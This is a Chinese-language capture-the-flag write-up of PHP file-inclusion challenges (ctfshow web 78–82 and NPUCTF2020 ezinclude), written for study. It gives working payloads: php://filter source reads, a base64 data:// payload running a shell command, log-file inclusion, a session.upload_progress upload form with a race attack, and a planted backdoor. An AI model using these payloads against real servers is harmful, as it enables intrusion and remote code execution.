CTFSHOW 文件包含

  • 今天 复习一下文件包含漏洞

    文章目录

    • web 78
    • web 79
    • web 80-81
    • web 82
    • 夹带私活 [NPUCTF2020]ezinclude

web 78

payload:

?file=php://filter/convert.base64-encode/resource=flag.php

web 79

payload:

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=

web 80-81

  • 这道题开始就有技巧了
  • 源码 过滤了 php和data 伪协议用不了
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}
  • payload
?file=/var/log/nginx/access.log
  • 文件包含日志文件
    CTFSHOW 文件包含_第1张图片

web 82

if(isset($_GET['file'])){
     
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);
}else{
     
    highlight_file(__FILE__);
}
  • 过滤了.之后上面题目用的方法就行不通了
  • 这道题俺也不会 看了WP
  • 这里给学习资料session.upload_progress进行文件包含
  • POC传文件 抓包 修改参数

<html>
<body>
<form action="http://52302e8b-c2f0-4f12-b96c-99d7b1750211.challenge.ctf.show:8080/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" value="上传" />
form>
body>
html>
  • 增加PHSESSID=xbx0d,生成临时文件sess_xbx0d
  • 在PHP_SESSION_UPLOAD_PROGRESS中写入自己要利用的代码 CTFSHOW 文件包含_第2张图片
  • 访问/tmp/sess_xbx0d文件
    CTFSHOW 文件包含_第3张图片
  • 最后bp用intrude栏.进行竞争攻击

夹带私活 [NPUCTF2020]ezinclude

  • 进入页面给了提示
<!--md5($secret.$name)===$pass -->
  • 抓包后又hash值 直接url上传
  • 然后又给了提示include($_GET["file"]
  • 尝试读取源码\flflflflag.php?file=php://filter/convert.base64-encode/resource%3dflflflflag.php
<html>
<head>
<script language="javascript" type="text/javascript">
           window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>

$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
     
	die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</html>
  • 过滤了这些东西 直接伪协议是行不通的 想到两个方法 一个就是日志文件(不知道路径) 一个就是
    session.upload_progress进行文件包含
  • 这题我的解法是session.upload_progress进行文件包含 然后利用竞争攻击
  • POC
    CTFSHOW 文件包含_第4张图片
  • 访问暂存的文件
    CTFSHOW 文件包含_第5张图片
  • 竞争攻击
  • 写入了一个后门
  • POST传参:cmd=phpinfo();
  • flag在phpinfo()里面,我翻遍了目录文件 最后看wp才知道在phpinfo()

你可能感兴趣的:(CTFSHOW,php,安全,web)